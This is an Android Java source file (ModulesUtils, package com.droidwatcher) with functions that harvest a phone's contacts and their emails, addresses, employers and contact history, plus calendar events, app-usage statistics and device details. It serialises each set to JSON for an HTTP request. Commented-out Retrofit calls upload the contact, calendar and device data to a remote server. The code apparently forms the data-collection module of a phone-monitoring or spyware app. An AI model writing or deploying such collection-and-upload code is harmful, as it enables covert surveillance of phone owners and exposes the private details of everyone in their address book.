package com.droidwatcher;

import android.annotation.SuppressLint;
import android.app.usage.UsageStats;
import android.app.usage.UsageStatsManager;
import android.content.ContentResolver;
import android.content.Context;
import android.content.Intent;
import android.content.pm.ApplicationInfo;
import android.content.pm.PackageManager;
import android.database.Cursor;
import android.net.Uri;
import android.os.Build;
import android.provider.CalendarContract;
import android.provider.ContactsContract;
import android.provider.Settings;

import com.alibaba.fastjson.JSON;
import com.droidwatcher.JsonEntity.AppInfoJsonObj;
import com.droidwatcher.JsonEntity.BrowserJsonObj;
import com.droidwatcher.JsonEntity.CalendarJsonObj;
import com.droidwatcher.JsonEntity.ContactJsonObj;
import com.droidwatcher.JsonEntity.HttpRequestHead;
import com.droidwatcher.JsonEntity.MobileInfoJsonObj;
import com.droidwatcher.JsonEntity.RunningAppInfo;
import com.droidwatcher.lib.Contact;
import com.droidwatcher.lib.IMessageBody;
import com.droidwatcher.lib.MobileInfo;
import com.droidwatcher.util.AXLog;

import java.util.ArrayList;
import java.util.Calendar;
import java.util.List;

import static android.content.Context.USAGE_STATS_SERVICE;

/**
 * Created by Administrator on 2018/3/22.
 */

public class ModulesUtils {
    static PackageManager pm ;
    private static final String calanderEventURL;

    static {
        if (Integer.parseInt(Build.VERSION.SDK) >= 8) {
            calanderEventURL = "content://com.android.calendar/events";
        } else {
            calanderEventURL = "content://calendar/events";
        }

    }
    //获取通信录信息
    public static String getPhoneBookJson(Context context) {
        ContactJsonObj obj = new ContactJsonObj();

        try {
            ArrayList<IMessageBody> contacts = new ArrayList<IMessageBody>();
            ContentResolver cr = context.getContentResolver();
            Cursor cur = cr.query(ContactsContract.Contacts.CONTENT_URI, null, null, null, null);

            if(cur.moveToNext()){
                for (int i = 0; i < cur.getColumnCount(); i++) {
                    AXLog.e("wzytest","content:"+cur.getString(i)+" column :"+cur.getColumnName(i));
                }
            }
            if (cur.getCount() > 0) {
                while (cur.moveToNext()) {
                    String id = cur.getString(cur.getColumnIndex(ContactsContract.Contacts._ID));
                    String name = cur.getString(cur.getColumnIndex(ContactsContract.Contacts.DISPLAY_NAME));
                    if (Integer.parseInt(cur.getString(cur.getColumnIndex(ContactsContract.Contacts.HAS_PHONE_NUMBER))) > 0) {
                        Cursor pCur = cr.query(ContactsContract.CommonDataKinds.Phone.CONTENT_URI, null, ContactsContract.CommonDataKinds.Phone.CONTACT_ID + " = ?", new String[]{id}, null);
                        while (pCur.moveToNext()) {
                            String number = pCur.getString(pCur.getColumnIndex(ContactsContract.CommonDataKinds.Phone.NUMBER));
                            String last_time_use = pCur.getString(pCur.getColumnIndex(ContactsContract.CommonDataKinds.Phone.LAST_TIME_USED));
                            String last_time_contacted = pCur.getString(pCur.getColumnIndex(ContactsContract.CommonDataKinds.Phone.LAST_TIME_CONTACTED));
                            String times = pCur.getString(pCur.getColumnIndex(ContactsContract.CommonDataKinds.Phone.TIMES_CONTACTED));
                            String last_update =  pCur.getString(pCur.getColumnIndex(ContactsContract.CommonDataKinds.Phone.CONTACT_LAST_UPDATED_TIMESTAMP));
                            //获取联系人的ID
                            String contactId = pCur.getString(pCur.getColumnIndex(ContactsContract.CommonDataKinds.Phone.CONTACT_ID));

                            Cursor emails = cr.query(ContactsContract.CommonDataKinds.Email.CONTENT_URI,
                                    null,
                                    ContactsContract.CommonDataKinds.Email.CONTACT_ID + " = " + contactId,
                                    null, null);
                            String emailAddress= "" ;
                            while (emails.moveToNext())
                            {
                                emailAddress = emails.getString(emails.getColumnIndex(
                                        ContactsContract.CommonDataKinds.Email.DATA));
                            }
                            emails.close();

                            //查询==地址==类型的数据操作.StructuredPostal.TYPE_WORK
                            Cursor address = cr.query(ContactsContract.CommonDataKinds.StructuredPostal.CONTENT_URI,
                                    null,
                                    ContactsContract.CommonDataKinds.StructuredPostal.CONTACT_ID + " = " + contactId,
                                    null, null);
                            String workAddress = "";
                            while (address.moveToNext())
                            {
                                workAddress = address.getString(address.getColumnIndex(
                                        ContactsContract.CommonDataKinds.StructuredPostal.DATA));
                            }
                            address.close();


                            //查询==公司名字==类型的数据操作.Organization.COMPANY  ContactsContract.Data.CONTENT_URI
                            String orgWhere = ContactsContract.Data.CONTACT_ID + " = ? AND " + ContactsContract.Data.MIMETYPE + " = ?";
                            String[] orgWhereParams = new String[]{contactId,
                                    ContactsContract.CommonDataKinds.Organization.CONTENT_ITEM_TYPE};
                            Cursor orgCur = cr.query(ContactsContract.Data.CONTENT_URI,
                                    null, orgWhere, orgWhereParams, null);
                            String company = "" ;
                            if (orgCur.moveToFirst()) {
                                //组织名 (公司名字)
                                 company = orgCur.getString(orgCur.getColumnIndex(ContactsContract.CommonDataKinds.Organization.DATA));
                            }
                            orgCur.close();

                            Contact contact = new Contact(number, name, id, last_time_contacted, last_time_use, times,last_time_use,workAddress,emailAddress,company);
                            contacts.add(contact);

                            //Log.i("DEBUG", name + " : " + number);
                        }
                        pCur.close();
                    }
                }
            }
            cur.close();
            ContactJsonObj.Data data = new ContactJsonObj.Data();
            data.setContactArrayList(contacts);
            obj.setHead(new HttpRequestHead());
            obj.setData(data);

//            if (contacts.size() > 0) {
//
//                ContactJsonObj obj = new ContactJsonObj();
//                obj.setHead(new HttpRequestHead());
//                ContactJsonObj.Data data = new ContactJsonObj.Data();
//                data.setContactArrayList(contacts);
//                obj.setData(data);
//
//                AXLog.e("wzytest","JSON.toJSONString(data):"+JSON.toJSONString(data));
//                RequestBody requestBody = RequestBody.create(MediaType.parse("text/plain"), JSON.toJSONString(obj));
//
//                MyRetrofitFactory.getSendAPISingleton().uploadContact(requestBody)
//                        .subscribeOn(Schedulers.io())
//                        .subscribe(new Subscriber<Result<String>>() {
//                            @Override
//                            public void onCompleted() {
//                                AXLog.e("wzytest","run in onCompleted");
//                            }
//
//                            @Override
//                            public void onError(Throwable e) {
//                                AXLog.e("wzytest","run in onCompleted");
//                                e.printStackTrace();
//                            }
//
//                            @Override
//                            public void onNext(Result<String> stringResult) {
//                                AXLog.e("wzytest","run in onNext :"+stringResult);
//                            }
//                        });
//            }

        } catch (Exception e) {
            Debug.exception(e);
        }
        return JSON.toJSONString(obj);
    }

    //获取设备信息
    public static String getMobileInfoJson(Context context) {
        MobileInfoJsonObj obj = new MobileInfoJsonObj();
        obj.setHead(new HttpRequestHead());
        MobileInfo mobileInfo = new MobileInfo();
        mobileInfo.setOs_version(android.os.Build.VERSION.RELEASE);
        mobileInfo.setPhone_model(android.os.Build.MODEL);
        mobileInfo.setBrand(android.os.Build.BRAND);
        mobileInfo.setProduct(android.os.Build.PRODUCT);
        mobileInfo.setManufacturer(android.os.Build.MANUFACTURER);
        obj.setInfo(mobileInfo);
        return JSON.toJSONString(obj);
//        RequestBody body = RequestBody.create(MediaType.parse("text/plain"),JSON.toJSONString(obj));
//        MyRetrofitFactory.getSendAPISingleton().uploadMobileInfo(body).subscribeOn(Schedulers.io())
//                .subscribe(new Subscriber<Result<String>>() {
//                    @Override
//                    public void onCompleted() {
//
//                    }
//
//                    @Override
//                    public void onError(Throwable e) {
//
//                    }
//
//                    @Override
//                    public void onNext(Result<String> stringResult) {
//
//                    }
//                });
    }

    //获取APP使用信息

    @SuppressLint("NewApi")
    public static String getAppInfoJson(Context context) {
        ArrayList<RunningAppInfo> infos = new ArrayList<>();
        Calendar beginCal = Calendar.getInstance();
        beginCal.add(Calendar.HOUR_OF_DAY, -1);
        Calendar endCal = Calendar.getInstance();
        UsageStatsManager manager = (UsageStatsManager) context.getApplicationContext().getSystemService(USAGE_STATS_SERVICE);
        List<UsageStats> stats = null;
        stats = manager.queryUsageStats(UsageStatsManager.INTERVAL_DAILY, beginCal.getTimeInMillis(), endCal.getTimeInMillis());
        if (stats == null) {
            context.startActivity(new Intent(Settings.ACTION_USAGE_ACCESS_SETTINGS));
        }
        if (stats != null) {
            for (UsageStats stat : stats) {
                AXLog.e("wzytest", stat.getPackageName() + " getFirstTimeStamp:" + stat.getFirstTimeStamp() + " stat.getLastTimeUsed():" + stat.getLastTimeUsed() + " getTotalTimeInForeground:" + stat.getTotalTimeInForeground());
                RunningAppInfo info = new RunningAppInfo();

                info.setPkgName(stat.getPackageName());
                info.setDuration(stat.getTotalTimeInForeground());
                info.setUse_date(stat.getLastTimeUsed());
                try {
                    pm = context.getPackageManager();
                    ApplicationInfo application = pm.getPackageInfo(stat.getPackageName(), 0).applicationInfo;
                    String applicationName = (String) pm.getApplicationLabel(application);
                    info.setAppName(applicationName);
                } catch (PackageManager.NameNotFoundException e) {
                    e.printStackTrace();
                }
                infos.add(info);
            }
        }

        AppInfoJsonObj appInfo = new AppInfoJsonObj();
        appInfo.setHead(new HttpRequestHead());
        AppInfoJsonObj.Data data = new AppInfoJsonObj.Data();
        data.setInfoArrayList(infos);
        appInfo.setData(data);
        return JSON.toJSONString(appInfo);
    }


    public static String getCalendarJson(Context context) {
        CalendarJsonObj obj = new CalendarJsonObj();
        ArrayList<IMessageBody> calendars = new ArrayList<IMessageBody>();

        ContentResolver cr = context.getContentResolver();
        // 日历里面相应的Event的URI
        Uri uri = Uri.parse(calanderEventURL);
        Cursor cursor = cr.query(uri, null, null, null, null);


        String _ID = CalendarContract.Events.CALENDAR_ID;
        String _TITLE = CalendarContract.Events.TITLE;
        String _LOCATION = CalendarContract.Events.EVENT_LOCATION;
        String _DESCRIPTION = CalendarContract.Events.DESCRIPTION;
        String _DTSTART = CalendarContract.Events.DTSTART;
        String _DTEND= CalendarContract.Events.DTEND;

        while (cursor.moveToNext()) {
            String id = cursor.getString(cursor.getColumnIndex(_ID));
            String title = cursor.getString(cursor.getColumnIndex(_TITLE));
            String start_date = cursor.getString(cursor.getColumnIndex(_DTSTART));
            String last_date = cursor.getString(cursor.getColumnIndex(_DTEND));
            String eventLocation = cursor.getString(cursor.getColumnIndex(_LOCATION));
            String description = cursor.getString(cursor.getColumnIndex(_DESCRIPTION));

            com.droidwatcher.lib.Calendar calendar = new com.droidwatcher.lib.Calendar(id, title, start_date, last_date, eventLocation, description);
            calendars.add(calendar);
        }

        cursor.close();
        obj.setHead(new HttpRequestHead());
        CalendarJsonObj.Data data = new CalendarJsonObj.Data();
        data.setCalendarEntityList(calendars);
        obj.setData(data);
        return JSON.toJSONString(obj);
//        RequestBody body = RequestBody.create(MediaType.parse("text/plain"), JSON.toJSONString(obj));
//        MyRetrofitFactory
//                .getSendAPISingleton()
//                .uploadCalendar(body)
//                .subscribeOn(Schedulers.io())
//                .subscribe(new Subscriber<Result<String>>() {
//                    @Override
//                    public void onCompleted() {
//                        AXLog.e("wzytest","run in onCompleted");
//                    }
//
//                    @Override
//                    public void onError(Throwable e) {
//                        AXLog.e("wzytest","run in onError");
//                    }
//
//                    @Override
//                    public void onNext(Result<String> responseBody) {
//                        AXLog.e("wzytest","run in onNext:"+responseBody);
//                    }
//                });

    }
}
